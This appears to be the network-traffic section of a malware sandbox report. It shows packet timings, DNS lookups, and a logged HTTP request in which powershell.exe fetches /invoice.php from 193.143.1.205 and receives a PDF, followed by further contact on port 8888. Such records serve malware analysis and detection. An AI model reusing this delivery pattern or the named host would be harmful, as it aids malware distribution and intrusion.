Jan 10, 2025 22:13:02.263963938 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263963938 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263993025 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.304250956 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.304290056 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.304327011 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.304339886 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.304356098 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.304395914 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.304399967 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.304452896 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.304495096 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.304505110 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.304538965 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.304570913 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.304584026 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.304605961 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.304640055 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.304646969 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.309489012 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309504032 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309514999 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309525967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309537888 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309545994 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309546947 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.309571028 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.309617996 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.309643030 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309653044 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309663057 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309674025 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309684038 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309684038 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.309715033 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.309715986 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309726954 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.309727907 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309746027 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309753895 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309767962 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.309787989 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.309817076 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309886932 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309899092 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309910059 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.309926033 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.309940100 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.310028076 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.310039997 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.310050011 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.310058117 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.310091972 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.361887932 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.361932993 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.361994028 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362052917 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362200022 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362232924 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362257957 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362270117 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362301111 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362309933 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362335920 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362381935 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362385035 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362406969 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362421036 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362436056 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362447977 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362452030 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362468958 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362474918 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362484932 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362499952 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362509012 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362514973 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362530947 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362536907 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362545967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362561941 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362571001 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362577915 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362595081 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362603903 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362638950 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362735033 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362746000 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362756014 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362766981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362777948 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362785101 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362788916 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362801075 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362803936 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362843990 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362884045 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362929106 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.362951040 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.362962961 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363003016 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363085032 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363095999 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363106966 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363116980 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363128901 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363137007 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363138914 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363152027 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363162994 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363163948 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363173962 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363181114 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363185883 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363209963 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363221884 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363233089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363234043 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363245964 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363262892 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363272905 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363276005 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363285065 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363301039 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363303900 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363327980 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363784075 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363795996 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363806963 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363817930 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363822937 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363830090 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363842964 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363872051 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363890886 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363904953 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363914967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363925934 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363936901 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363946915 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363956928 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363960981 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.363969088 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363980055 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.363995075 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.364017963 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.364470959 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364483118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364492893 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364505053 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364507914 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.364516020 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364526987 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364527941 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.364541054 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364551067 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364554882 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.364562988 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364572048 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.364574909 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364588022 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364598989 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364610910 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364614964 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.364622116 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.364639997 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.364660978 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.385504007 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.413878918 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.413892984 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.413904905 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.413916111 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.413927078 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.413938046 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.413974047 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414011955 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414021015 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414040089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414051056 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414061069 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414067984 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414072990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414084911 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414088011 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414096117 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414107084 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414119959 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414135933 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414136887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414135933 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414155960 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414166927 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414177895 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414181948 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414190054 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414201021 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414201975 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414222956 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414232969 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414241076 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414251089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414263010 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414285898 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414374113 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414386988 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414397001 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414407969 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414418936 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414427042 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414429903 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414441109 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414453983 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414463997 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414464951 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414464951 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414474010 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.414484978 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.414515018 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.453250885 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453306913 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453310966 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.453341961 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453375101 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453389883 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.453409910 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453459024 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453460932 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.453510046 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453542948 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453562021 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.453577995 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453629971 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.453635931 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453674078 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453720093 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.453722000 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453756094 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453788996 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453800917 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.453823090 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453855038 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453876972 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.453887939 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453922033 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.453941107 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.494103909 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.590426922 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.735774040 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:03.302824974 CET	49736	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:03.307753086 CET	8888	49736	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:03.307821035 CET	49736	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:03.308059931 CET	49736	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:03.312818050 CET	8888	49736	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:04.130116940 CET	8888	49736	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:04.181567907 CET	49736	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:04.195707083 CET	49736	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:13:12.882807970 CET	64998	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:13:12.882807970 CET	192.168.2.6	1.1.1.1	0x9803	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:13:12.889550924 CET	1.1.1.1	192.168.2.6	0x9803	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:13:13.623836994 CET	1.1.1.1	192.168.2.6	0xf77c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:13:13.623836994 CET	1.1.1.1	192.168.2.6	0xf77c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49721	193.143.1.205	80	6908	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:13:00.809819937 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:13:01.625271082 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:13:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:13:01.625382900 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:13:01.625392914 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 22:13:01.625403881 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 22:13:01.625416994 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
